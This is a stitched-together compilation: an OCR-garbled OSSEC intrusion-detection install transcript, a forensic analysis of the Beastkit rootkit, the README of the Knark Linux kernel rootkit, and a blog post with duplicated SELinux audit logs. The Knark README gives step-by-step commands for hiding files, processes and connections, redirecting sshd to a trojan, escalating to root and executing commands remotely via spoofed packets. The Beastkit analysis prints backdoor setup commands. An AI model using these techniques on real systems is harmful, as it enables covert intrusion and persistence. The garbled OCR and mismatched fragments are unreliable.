3.1- Do you want e-wail novification? (y/n] [y]:
- What's your e-mail address? ddpbsdiexample.com
- What's your SHTP server ip/host? 127.0.0.1
3.2- Do you wanmt to run the integrity check daewon? (y/n] [y]:

- Running syscheck [integrity check dasmon] .

Do you want to run the rootkit detection engine? (y/n) [v]
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Thanks for using the OSSEC HIDS.
If you have any question, suggestion or if you find any bug,
contact us at contact@ossec.net or using our public maillist at
ossec-listiossec.net

{ htep://wuv.ossec. net/main/ suppore/ ) .

More information can be found at http://www.cssec.net

--- Press ENTER to finish (waybe more information below]. —--

In order to connect agent and server, you nesd to add each agent to the servel

Run the 'manage_agents' to add or remove them:

fvar/ossec/bin/manage_agents

More information at:
/wuy.0ssec. net/ en/manual . heml fra
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* 0SSEC HIDS v2.6 Agent manager. B
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(Quit.
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~ Host: aldhanah

—- Press ENTER to continue or Ctrl-C to abort.

Uhat kind of installation do you want [server, agent, local or help)? agent

- Agent (client] installation chosen.

Setting up the installation enviromuent.

- Choose where to install the OSSEC HIDS [/var/ossec]:

- Installation will be made at /var/ossec
Configuring the OSSEC HIDS.

3.1- What's the IP Address of the OSSEC HIDS server?: 152.168.17.11
- Adding Server IP 152.168.17.11

Do you want to run the integrity check daemon? (y/n] [yl
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Analysis of a rootkit: Beastkit


by: unknown


Analysis of a rootkit found on a RedHat 7.2 System in 01/2002. The rootkit setup
script includes the line “#Beastkit 7.0 - X-Org edition”. Due to this fact, we
call the rootkit “Beastkit 7.0” in this document. The compromise was done
through an crc32 compensation attack against SSH-1.5-1.2.27.



Detecting Beastkit


To ensure unmodified results of common programs (like ps) we used a mounted
Stand-alone shell (sash) and static binaries.


results of unmodified netstat shows following interesting connections:


Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:56493           0.0.0.0:*               LISTEN

results of unmodified ps shows following interesting proceses:
USER       PID %CPU %MEM  SIZE   RSS TTY STAT START   TIME COMMAND
root     17081  0.0  0.0  1880     4  ?  S   03:42   0:00 /usr/sbin/arobia -q -p 56493
root     17097  0.0  0.0  1528   160  ?  S   03:42   0:00 lpsched  /usr/local/bin/bin/..././
root     17109  0.0  0.0  1524   156  ?  S   03:42   0:00 lpsched  /idrun
root     17300  0.0  0.0  1528   160  ?  S   03:45   0:00 lpsched

results of unmodified lsof (LiSt Open Files) shows following interesting open files:
COMMAND     PID    USER   FD   TYPE     DEVICE     SIZE       NODE NAME
arobia    17081    root  cwd    DIR        3,2     1024          2 /
arobia    17081    root  rtd    DIR        3,2     1024          2 /
arobia    17081    root  txt    REG        3,5   206760     306925 /usr/sbin/arobia
arobia    17081    root  mem    REG        3,2   485171      34370 /lib/ld-2.2.4.so
arobia    17081    root  mem    REG        3,2   436784      34380 /lib/libnsl-2.2.4.so
arobia    17081    root  mem    REG        3,2    85115      34282 /lib/libcrypt-2.2.4.so
arobia    17081    root  mem    REG        3,2    47872      34327 /lib/libutil-2.2.4.so
arobia    17081    root  mem    REG        3,2  5772268      60578 /lib/i686/libc-2.2.4.so
arobia    17081    root    0u   CHR        1,3               22868 /dev/null
arobia    17081    root    1u   CHR        1,3               22868 /dev/null
arobia    17081    root    2u   CHR        1,3               22868 /dev/null
arobia    17081    root    3u  IPv4     110686                 TCP *:56493 (LISTEN)*
arobia    17081    root    5u  sock        0,0              110290 can't identify protocol
idrun     17109    root  cwd    DIR        3,5        0     306921 /usr/man/.man10/bk7 (deleted)
idrun     17109    root  rtd    DIR        3,2     1024          2 /
idrun     17109    root  txt    REG        3,5    89828     306945 /usr/sbin/idrun
idrun     17109    root  mem    REG        3,2   485171      34370 /lib/ld-2.2.4.so
idrun     17109    root  mem    REG        3,2  5772268      60578 /lib/i686/libc-2.2.4.so
idrun     17109    root  mem    REG        3,2   261460      34311 /lib/libnss_files-2.2.4.so
idrun     17109    root    0u   raw                         263594 00000000:0001->00000000:0000 st=07
idrun     17109    root    3u   raw                         111231 00000000:0001->00000000:0000 st=07
idrun     17109    root    5u  sock        0,0              110290 can't identify protocol
bktd      17097    root  cwd    DIR        3,5        0     306921 /usr/man/.man10/bk7 (deleted)
bktd      17097    root  rtd    DIR        3,2     1024          2 /
bktd      17097    root  txt    REG        3,5    93924     306924 /usr/local/bin/.../bktd
bktd      17097    root  mem    REG        3,2   485171      34370 /lib/ld-2.2.4.so
bktd      17097    root  mem    REG        3,2  5772268      60578 /lib/i686/libc-2.2.4.so
bktd      17097    root  mem    REG        3,2   261460      34311 /lib/libnss_files-2.2.4.so
bktd      17097    root    0u   raw                         263598 00000000:0001->00000000:0000 st=07
bktd      17097    root    3u   raw                         110971 00000000:0001->00000000:0000 st=07
bktd      17097    root    5u  sock        0,0              110290 can't identify protocol









Beastkit properties


Beastkit 7.0 replaces common binaries that can be used to monitor system operation (like ps).
List of programs included in the rootkit (bin.tgz):


md5sum                            Filename             Size
98bf3bd30914773e50060a7f56eda4f4  encrypt             14808
ae060f54e8f3a8e79dc95867171811ef  pg                   3552
f2e3b130a937af92ff507315406589b1  sz                   1382
0a07cf554c1a74ad974416f60916b78d  /bin/ls             39696
195075782a2f7853731bf3e0c62e6925  /bin/netstat        54152
ced323b51dc984f66c2695d8fd6a2368  /bin/ps             62920
e4738d828b366ac21572e6a17f7ecba4  /sbin/ifconfig      31504
753d5e7af271c12e0803956dd8c2b8e6  /sbin/syslogd       26496
0a07cf554c1a74ad974416f60916b78d  /usr/bin/dir        39696
98596eaad65b9f748fca2dcf48a9b3ef  /usr/bin/find       59536
a1931a396d9a7ffbcd0c7612627073ba  /usr/bin/pstree     12340
3fc77d2a3ae361c86ef4629c0f5e380e  /usr/bin/slocate    23560
fd319aa8e6f56a32c0cb8fc6e9a69195  /usr/bin/top        33992
f7acbc61f8715bdda41989683bc8e8a8  /usr/bin/md5sum     31452
0c1411a47e58bcbef33abdaf53ede4e6  /usr/sbin/idrun     89828
56b863dcfacadf6d66d859e2ee59517e  /usr/sbin/lsof      82628




The original programs got replaced by the rootkit. The timestamps doesn’t
change, because the rootkit use touch -acmr to transmit the timestamp to the
rootkit files.


Beastkit contains some tools (bktools) (placed at /lib/ldd.so/bktools):


md5sum                            Filename             Size
b0812b62c9c3307161c5400870d7d230  bkget               25664
926784667fa921b38fceb124644f6568  bkp                  7578
63c6a53e779c06923344b15a0e8f1799  bks                 16070
12e8748c19abe7a44e67196c22738e9b  bksb                 1345
5dba380b431418f1d15a014472268b65  bkscan               9556
d536271d4c13a2cf71c0e74d09839f27  bktd                90788
2f6957ee2b2c29259225c6b0f271539b  patch                1875
0bb5cb28717d1a36c2a871a1dd713666  prl                  1854
e2384d85534272ba46baa6979cefc634  prw                  1831

bkget - SynScan Daemon (by psychoid/tCl)
bkp - hdlp2 version 2.05
bks - Sniffer
bksb - "sauber"-Script (see duarawkz-rootkit), cleans up some of the intruders traces
bkscan - SynScan (by psychoid/tCl)
bktd
patch - SSHd-Patchscript (update to ssh-1.2.32 using ftp)
prl - SSHd-Patchscript (update to ssh-1.2.32 using http)
prw - SSHd-Patchscript (update to ssh-1.2.32)




A SSHd backdoor named “arobia” was installed. The config files were
found in /usr/lib/elm/arobia/. A new password for the backdoor was generated
with the command sed s/08e7592e361de6fd59d4d126b29fe6ea/`md5sum --string=$1|awk '{print $1}'`/g elm\ > arobia,
which replaces the default password (08e7592e361de6fd59d4d126b29fe6ea=arobia)
of the original backdoor “elm” and generates the new backdoor “arobia”.
After that, “arobia” was moved to /usr/sbin. The backdoor start-up is done
by /usr/sbin/arobia -q -p 56493, whereby “56493” is the portnumber.


md5sum                            Filename                              Size
f7820a858bceee09246f4454e3c24e95  /usr/sbin/arobia                    206760
f78fa4c346287a3af35656a9ac33e733  /usr/lib/elm/arobia/elm             206760
a5d7227117841d0518a6be3510dabb57  /usr/lib/elm/arobia/elm/hk             529
eb1929cdeb8c4abe428540a58adfa7a2  /usr/lib/elm/arobia/elm/hk.pub         333
5fd2ce512e0eba4d090191e8a1518808  /usr/lib/elm/arobia/elm/sc             880
563b9fb9877beb3b33428acdfba1a571  /usr/lib/elm/arobia/elm/sd.pp            6
82ff57cdc95b9b01d88ef5dca721981d  /usr/lib/elm/arobia/elm/sdco           480
a604bd841806dd5abe543a3281eb5a78  /usr/lib/elm/arobia/elm/srsd           512





More rootkit properties:


The program bktd was placed at /usr/local/bin/.../, furthermore some libraries at /lib/:


md5sum                            Filename                      Size
00846ffcc2ed7fa23b42089e92273964  bktd                         93924
2aed58986303584c96edd16f6195e797  /lib/libproc.a               33848
8581544643145cd159e93df986539ce8  /lib/libproc.so.2.0.6        37984
dcf6a1cb6fd162461195294904c078f8  /lib/lidps1.so                   9
6efdfd44c0b1e197dae1b10e994f7721  /usr/include/file.h             56
1791784f079870739ecc707add37aafe  /usr/include/hosts.h            19
64bdd72e707ba4680cc7d7a58e8aac07  /usr/include/log.h              43
1534580c14b3b70d29d000f3691d1c25  /usr/include/proc.h             47




The following lines were added in /etc/rc.d/rc.sysinit to start a backdoor at
port 33333 at system startup:


# Arobia daemon startup..
/usr/sbin/xntps -q -p 33333
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Knark is a kernel-based rootkit for Linux 2.2.


No part of knark may be used to break the law, or to cause damage of any
kind. And I’m not responsible for anything you do with it.


The heart of the package, knark.c, is a Linux lkm (loadable kernel-module).
Type “make” to compile knark and the programs included, and then “insmod knark”
to load the lkm. When knark is loaded, the hidden directory /proc/knark is
created. The following files are created in this directory:


author          shameless self-promotion banner :-)
files           list of hidden files on the system
nethides        list of strings hidden in /proc/net/[tcp|udp]
pids            list of hidden pids, ps-like output
redirects       list of exec-redirection entries


Changes since v0.50:
Added remote command execution, and added the client-program rexec.


These are the programs included in the package (they all depend on knark.o
to be loaded, except for taskhack.c which modifies /dev/kmem directly):



		hidef   Used to hide files on the system.


		Create your hax0r-directory /usr/lib/.hax0r, and type:
./hidef /usr/lib/.hax0r
Now this directory will be hidden, and won’t be shown by ls or du.
Subdirs and files will be hidden as well, so you don’t have to
hidef anything you put in this directory.


		unhidef Used to unhide hidden files. You can cat /proc/knark/files if you’ve


		forgotten which files you’ve hidden. Type:
./unhidef /usr/lib/.hax0r
to make your previously hidden directory visible again.
However, there is a bug in the module which makes directory trees
start from their mount-point. This means, if you have a filesystem
mounted to /mnt, and you hide the file /mnt/secret, this file will
show up as /secret in /proc/knark/files. Files in the root-filesystem
aren’t affected.


		ered    Used to configure exec-redirection.


		Copy your sshd trojan to /usr/lib/.hax0r/sshd_trojan, and type:
./ered /usr/local/sbin/sshd /usr/lib/.hax0r/sshd_trojan
Now, when /usr/local/sbin/sshd is supposed to be executed, your
trojan program will be executed instead. To clear all exec-redirection
entries, type:
./ered -c


		nethide Used to hide strings in /proc/net/tcp and /proc/net/udp. This is


		where netstat gets it’s information. Type:
./nethide ”:ABCD ”
to hide connections to/from port ABCD hex (43981 dec). This will
“grep -v” the line ”:ABCD ” from /proc/net/[tcp|udp].
You have to understand the output from /proc/net/[tcp|udp] to use
this program. Lets say that you have sshd running on your box.
Connect to localhost port 22, and type:
netstat -at
One of the lines looks like this:
Proto Recv-Q Send-Q Local Address      Foreign Address  State
tcp        0      0 localhost:ssh      localhost:1023   ESTABLISHED
And now, lets check /proc/net/tcp. Type:
cat /proc/net/tcp
One of the lines looks like this:



local_address rem_address   blablabla...



0:0100007F:0016 0100007F:03FF 01 00000000:00000000 00:00000000 00000000
If we want to hide everything about ip-address 127.0.0.1, we have to
translate it to this format. Start with 127: 7F in hex. Then 0: 00
in hex, which gives us 007F. And 0 again: 00007F, and at last 1
which gives us the number 0100007F. Now, if we want to hide
everything about port 22 and ip-address 127.0.0.1 it looks like this:
0100007F:0016 (0016 is port 22 in hex). So, typing:
./nethide “0100007F:0016” will hide connections to/from localhost
port 22, and typing:
./nethide ”:ABCD ” will remove all lines containing ”:ABCD ”. It’s
like “grep -v”. Do you get it? :-)





		rootme  Used to gain root-access without using suid programs. Type:


		./rootme /bin/sh
to execute /bin/sh with root-privs. This will also work:
./rootme /bin/ls -l /root
You have to type the whole path-name of the binary to execute.


		taskhack Used to change *uid’s and *gid’s of running processes. Type:


		./taskhack -alluid=0 pid
This will change all *uid’s (uid, euid, suid, fsuid) of process
“pid” to 0 (root). Type:
ps aux | grep bash
creed       91  0.0  1.3  1424   824   1 S    15:31   0:00 -bash
Now, we want to change the euid of this process to 0 (root). Type:
./taskhack -euid=0 91
ps aux | grep bash
root (!)    91  0.0  1.3  1424   824   1 S    15:31   0:00 -bash
Isn’t this just great? :-).





*rexec  Used to execute commands remotely on a knark-server. Type:
*       ./rexec www.microsoft.com haxored.server.nu /bin/touch /LUDER
*       This will send a spoofed udp packet from www.microsoft.com:53 to
*       haxored.server.nu:53, which tells haxored.server.nu to /bin/touch
*       /LUDER. If you wan’t to try this on localhost, don’t specify a
*       spoofed address different from your own, since the kernel won’t
*       accept it.
*       ./rexec localhost localhost /bin/touch /LUDER
*       will do it for you.


(* = newly added thing)


And knark has eaven more features than this:
sending signal 31 to a process will hide it’s directory in /proc, making
it invisible to ps and top. Type:
kill -31 pid
If this process fork’s or clone’s, all childs of the process will be hidden.
This means, that if you hide your shell with kill -31, all commands you
issue will be invisible. That’s neat :-).
If you want to make a process visible again for some reason, and you’ve
forgotten the pid, just cat /proc/knark/pids. This will give you a ps-like
output of all hidden processes.


Sniffers sets the network interface in promiscious mode, and many simple
sniffer-detectors rely on this. When knark is loaded, no network interface
will show the IFF_PROMISC flag when SIOCGIFFLAGS is requested. Hiding the
sniffer with signal 31 is also recommended.


This package includes another lkm than knark; modhide. When modhide is
loaded, it removes the latest loaded module from the module list, thus
hiding it from lsmod, and removing it from /proc/modules. Type:
insmod knark
lsmod | grep knark
knark                   6640   0  (unused)
insmod modhide
(error messages)
lsmod | grep knark
noting


But be careful, you might have to reboot to get rid of knark if you load
modhide, since it can’t be removed with normal methods, like rmmod.
Have fun. And stay out of trouble.


By the way, I don’t recommend you to unload the module, there is some kind
of bug that can make strange things happen. Sometimes it works fine, sometimes
a process dies and sometimes your computer will look like a banana.
This is not a bug-free release. Please let me know if you find things to
improve.


email: creed@sekure.net
Ircnet and EFNet: Creed (or Creed_ or something like that) @sekure.net
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  I enabled SELinux on my Kubuntu workstation and almost immediately received notifications from OSSEC. It has been a while since I reviewed the [http://www.centos.org/docs/4/html/rhel-selg-en-4/ RHEL SELinux documentation] that explains these log entries from /var/log/messages. There’s a very real possibility that I did not set SELinux up properly, it is not very well supported by Ubuntu at the moment. I may change this entry after I re-review the SELinux docs.


Anyway, here’s something to chew on FWIW ...




Feb 20 16:57:43 localhost kernel: [17180270.076000] audit(1172015863.889:2): avc:  denied  { append } for  pid=5621 comm="syslogd" name="syslog" dev=sda6 ino=2101168 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:file_t tclass=file
Feb 20 16:57:43 localhost kernel: [17180270.076000] audit(1172015863.889:3): avc:  denied  { write } for  pid=5621 comm="syslogd" name="psadfifo" dev=sda6 ino=1466559 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:file_t tclass=fifo_file
Feb 20 16:57:43 localhost kernel: [17180270.076000] audit(1172015863.889:4): avc:  denied  { read } for  pid=6140 comm="kmsgsd" name="psadfifo" dev=sda6 ino=1466559 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:file_t tclass=fifo_file
Feb 20 16:57:43 localhost kernel: [17180270.100000] audit(1172015863.913:5): avc:  denied  { write } for  pid=5653 comm="dd" name="kmsg" dev=tmpfs ino=13022 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:tmpfs_t tclass=fifo_file
Feb 20 16:57:43 localhost kernel: [17180270.100000] audit(1172015863.913:6): avc:  denied  { read } for  pid=5655 comm="klogd" name="kmsg" dev=tmpfs ino=13022 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:tmpfs_t tclass=fifo_file
Feb 20 16:57:43 localhost kernel: [17180270.128000] inode_doinit_with_dentry:  no dentry for dev=sda7 ino=492342
Feb 20 16:57:44 localhost kernel: [17180270.404000] audit(1172015864.217:7): avc:  denied  { read } for  pid=5653 comm="dd" name="kmsg" dev=proc ino=-268435446 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:proc_kmsg_t tclass=file
Feb 20 16:57:44 localhost kernel: [17180270.424000] audit(1172015864.237:9): avc:  denied  { write } for  pid=5653 comm="dd" name="kmsg" dev=tmpfs ino=13022 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:tmpfs_t tclass=fifo_file
Feb 20 16:57:44 localhost kernel: [17180270.424000] audit(1172015864.237:10): avc:  denied  { read } for  pid=5653 comm="dd" name="kmsg" dev=proc ino=-268435446 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:proc_kmsg_t tclass=file
Feb 20 16:57:44 localhost kernel: [17180270.424000] audit(1172015864.237:11): avc:  denied  { syslog_mod } for  pid=5653 comm="dd" scontext=system_u:system_r:kernel_t tcontext=system_u:system_r:kernel_t tclass=system
Feb 20 16:57:44 localhost kernel: [17180270.424000] audit(1172015864.237:12): avc:  denied  { append } for  pid=5621 comm="syslogd" name="syslog" dev=sda6 ino=2101168 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:file_t tclass=file
Feb 20 16:57:44 localhost kernel: [17180270.424000] audit(1172015864.237:13): avc:  denied  { write } for  pid=5621 comm="syslogd" name="psadfifo" dev=sda6 ino=1466559 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:file_t tclass=fifo_file
Feb 20 16:57:44 localhost kernel: [17180270.424000] audit(1172015864.237:14): avc:  denied  { read } for  pid=5655 comm="klogd" name="kmsg" dev=tmpfs ino=13022 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:tmpfs_t tclass=fifo_file
Feb 20 16:57:44 localhost kernel: [17180270.424000] audit(1172015864.237:15): avc:  denied  { read } for  pid=6140 comm="kmsgsd" name="psadfifo" dev=sda6 ino=1466559 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:file_t tclass=fifo_file
Feb 20 16:57:44 localhost kernel: [17180270.428000] audit(1172015864.241:16): avc:  denied  { read } for  pid=12161 comm="make" name="touch" dev=sda7 ino=2065483 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:file_t tclass=lnk_file
Feb 20 16:57:44 localhost kernel: [17180270.428000] audit(1172015864.241:17): avc:  denied  { create } for  pid=12161 comm="touch" name="load" scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:file_t tclass=file
Feb 20 16:57:44 localhost kernel: [17180270.432000] audit(1172015864.245:18): avc:  denied  { write } for  pid=12161 comm="touch" name="load" dev=sda7 ino=2773152 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:file_t tclass=file
Feb 20 16:57:44 localhost kernel: [17180270.536000] audit(1172015864.349:19): avc:  denied  { search } for  pid=5929 comm="hald-addon-stor" name="/" dev=tmpfs ino=1286 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:tmpfs_t tclass=dir
Feb 20 16:57:44 localhost kernel: [17180270.536000] audit(1172015864.349:20): avc:  denied  { read } for  pid=5929 comm="hald-addon-stor" name="hdd" dev=tmpfs ino=5926 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:tmpfs_t tclass=blk_file
Feb 20 16:57:44 localhost kernel: [17180270.540000] audit(1172015864.353:21): avc:  denied  { ioctl } for  pid=5929 comm="hald-addon-stor" name="hdd" dev=tmpfs ino=5926 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:tmpfs_t tclass=blk_file
Feb 20 16:57:44 localhost kernel: [17180270.600000] audit(1172015864.413:22): avc:  denied  { write } for  pid=12162 comm="make" name="2" dev=devpts ino=4 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:devpts_t tclass=chr_file
Feb 20 16:57:44 localhost kernel: [17180270.600000] audit(1172015864.413:23): avc:  denied  { read } for  pid=7441 comm="screen" name="ptmx" dev=tmpfs ino=2332 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:tmpfs_t tclass=chr_file
Feb 20 16:57:44 localhost kernel: [17180270.600000] audit(1172015864.413:24): avc:  denied  { write } for  pid=7439 comm="konsole" name="konsoleWhxySb.tmp" dev=sda7 ino=2704183 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:unlabeled_t tclass=file
Feb 20 16:57:44 localhost kernel: [17180270.984000] audit(1172015864.797:25): avc:  denied  { rename } for  pid=11026 comm="dpkg" name="tmp.i" dev=sda6 ino=1434551 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:file_t tclass=file
Feb 20 16:57:43 localhost kernel: [17180270.076000] audit(1172015863.889:2): avc:  denied  { append } for  pid=5621 comm="syslogd" name="syslog" dev=sda6 ino=2101168 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:file_t tclass=file
Feb 20 16:57:43 localhost kernel: [17180270.076000] audit(1172015863.889:3): avc:  denied  { write } for  pid=5621 comm="syslogd" name="psadfifo" dev=sda6 ino=1466559 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:file_t tclass=fifo_file
Feb 20 16:57:43 localhost kernel: [17180270.076000] audit(1172015863.889:4): avc:  denied  { read } for  pid=6140 comm="kmsgsd" name="psadfifo" dev=sda6 ino=1466559 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:file_t tclass=fifo_file
Feb 20 16:57:43 localhost kernel: [17180270.100000] audit(1172015863.913:5): avc:  denied  { write } for  pid=5653 comm="dd" name="kmsg" dev=tmpfs ino=13022 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:tmpfs_t tclass=fifo_file
Feb 20 16:57:43 localhost kernel: [17180270.100000] audit(1172015863.913:6): avc:  denied  { read } for  pid=5655 comm="klogd" name="kmsg" dev=tmpfs ino=13022 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:tmpfs_t tclass=fifo_file
Feb 20 16:57:44 localhost kernel: [17180270.404000] audit(1172015864.217:7): avc:  denied  { read } for  pid=5653 comm="dd" name="kmsg" dev=proc ino=-268435446 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:proc_kmsg_t tclass=file
Feb 20 16:57:44 localhost kernel: [17180270.424000] audit(1172015864.237:9): avc:  denied  { write } for  pid=5653 comm="dd" name="kmsg" dev=tmpfs ino=13022 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:tmpfs_t tclass=fifo_file
Feb 20 16:57:44 localhost kernel: [17180270.424000] audit(1172015864.237:10): avc:  denied  { read } for  pid=5653 comm="dd" name="kmsg" dev=proc ino=-268435446 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:proc_kmsg_t tclass=file
Feb 20 16:57:44 localhost kernel: [17180270.424000] audit(1172015864.237:11): avc:  denied  { syslog_mod } for  pid=5653 comm="dd" scontext=system_u:system_r:kernel_t tcontext=system_u:system_r:kernel_t tclass=system
Feb 20 16:57:44 localhost kernel: [17180270.424000] audit(1172015864.237:12): avc:  denied  { append } for  pid=5621 comm="syslogd" name="syslog" dev=sda6 ino=2101168 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:file_t tclass=file
Feb 20 16:57:44 localhost kernel: [17180270.424000] audit(1172015864.237:13): avc:  denied  { write } for  pid=5621 comm="syslogd" name="psadfifo" dev=sda6 ino=1466559 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:file_t tclass=fifo_file
Feb 20 16:57:44 localhost kernel: [17180270.424000] audit(1172015864.237:14): avc:  denied  { read } for  pid=5655 comm="klogd" name="kmsg" dev=tmpfs ino=13022 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:tmpfs_t tclass=fifo_file
Feb 20 16:57:44 localhost kernel: [17180270.424000] audit(1172015864.237:15): avc:  denied  { read } for  pid=6140 comm="kmsgsd" name="psadfifo" dev=sda6 ino=1466559 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:file_t tclass=fifo_file
Feb 20 16:57:44 localhost kernel: [17180270.428000] audit(1172015864.241:16): avc:  denied  { read } for  pid=12161 comm="make" name="touch" dev=sda7 ino=2065483 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:file_t tclass=lnk_file
Feb 20 16:57:44 localhost kernel: [17180270.428000] audit(1172015864.241:17): avc:  denied  { create } for  pid=12161 comm="touch" name="load" scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:file_t tclass=file
Feb 20 16:57:44 localhost kernel: [17180270.432000] audit(1172015864.245:18): avc:  denied  { write } for  pid=12161 comm="touch" name="load" dev=sda7 ino=2773152 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:file_t tclass=file
Feb 20 16:57:44 localhost kernel: [17180270.536000] audit(1172015864.349:19): avc:  denied  { search } for  pid=5929 comm="hald-addon-stor" name="/" dev=tmpfs ino=1286 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:tmpfs_t tclass=dir
Feb 20 16:57:44 localhost kernel: [17180270.536000] audit(1172015864.349:20): avc:  denied  { read } for  pid=5929 comm="hald-addon-stor" name="hdd" dev=tmpfs ino=5926 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:tmpfs_t tclass=blk_file
Feb 20 16:57:44 localhost kernel: [17180270.540000] audit(1172015864.353:21): avc:  denied  { ioctl } for  pid=5929 comm="hald-addon-stor" name="hdd" dev=tmpfs ino=5926 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:tmpfs_t tclass=blk_file
Feb 20 16:57:44 localhost kernel: [17180270.600000] audit(1172015864.413:22): avc:  denied  { write } for  pid=12162 comm="make" name="2" dev=devpts ino=4 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:devpts_t tclass=chr_file
Feb 20 16:57:44 localhost kernel: [17180270.600000] audit(1172015864.413:23): avc:  denied  { read } for  pid=7441 comm="screen" name="ptmx" dev=tmpfs ino=2332 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:tmpfs_t tclass=chr_file
Feb 20 16:57:44 localhost kernel: [17180270.600000] audit(1172015864.413:24): avc:  denied  { write } for  pid=7439 comm="konsole" name="konsoleWhxySb.tmp" dev=sda7 ino=2704183 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:unlabeled_t tclass=file
Feb 20 16:57:44 localhost kernel: [17180270.984000] audit(1172015864.797:25): avc:  denied  { rename } for  pid=11026 comm="dpkg" name="tmp.i" dev=sda6 ino=1434551 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:file_t tclass=file
Feb 20 16:57:45 localhost kernel: [17180271.728000] audit(1172015865.541:26): avc:  denied  { unlink } for  pid=11026 comm="dpkg" name="status-old" dev=sda6 ino=1435199 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:file_t tclass=file
Feb 20 16:57:45 localhost kernel: [17180271.728000] audit(1172015865.541:27): avc:  denied  { link } for  pid=11026 comm="dpkg" name="status" dev=sda6 ino=1436723 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:file_t tclass=file
Feb 20 16:57:45 localhost kernel: [17180272.040000] audit(1172015865.853:28): avc:  denied  { getattr } for  pid=10911 comm="dselect" name="2" dev=devpts ino=4 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:devpts_t tclass=chr_file
Feb 20 16:57:45 localhost kernel: [17180272.040000] audit(1172015865.853:29): avc:  denied  { read } for  pid=10911 comm="dselect" name="2" dev=devpts ino=4 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:devpts_t tclass=chr_file
Feb 20 16:57:46 localhost kernel: [17180272.808000] audit(1172015866.621:30): avc:  denied  { read } for  pid=6031 comm="ossec-syscheckd" name="syschecklocal.db-11720152306028.tmp" dev=sda7 ino=2261816 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:unlabeled_t tclass=file
Feb 20 16:57:46 localhost kernel: [17180272.948000] audit(1172015866.761:31): avc:  denied  { write } for  pid=7439 comm="konsole" name="ptmx" dev=tmpfs ino=2332 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:tmpfs_t tclass=chr_file
Feb 20 16:57:46 localhost kernel: [17180272.948000] audit(1172015866.761:32): avc:  denied  { ioctl } for  pid=10911 comm="dselect" name="2" dev=devpts ino=4 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:devpts_t tclass=chr_file
Feb 20 16:57:45 localhost kernel: [17180271.728000] audit(1172015865.541:26): avc:  denied  { unlink } for  pid=11026 comm="dpkg" name="status-old" dev=sda6 ino=1435199 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:file_t tclass=file
Feb 20 16:57:45 localhost kernel: [17180271.728000] audit(1172015865.541:27): avc:  denied  { link } for  pid=11026 comm="dpkg" name="status" dev=sda6 ino=1436723 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:file_t tclass=file
Feb 20 16:57:45 localhost kernel: [17180272.040000] audit(1172015865.853:28): avc:  denied  { getattr } for  pid=10911 comm="dselect" name="2" dev=devpts ino=4 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:devpts_t tclass=chr_file
Feb 20 16:57:45 localhost kernel: [17180272.040000] audit(1172015865.853:29): avc:  denied  { read } for  pid=10911 comm="dselect" name="2" dev=devpts ino=4 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:devpts_t tclass=chr_file
Feb 20 16:57:46 localhost kernel: [17180272.808000] audit(1172015866.621:30): avc:  denied  { read } for  pid=6031 comm="ossec-syscheckd" name="syschecklocal.db-11720152306028.tmp" dev=sda7 ino=2261816 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:unlabeled_t tclass=file
Feb 20 16:57:46 localhost kernel: [17180272.948000] audit(1172015866.761:31): avc:  denied  { write } for  pid=7439 comm="konsole" name="ptmx" dev=tmpfs ino=2332 scontext=system_u:system_r:kernel_t tcontext=system_u:object_r:tmpfs_t tclass=chr_file
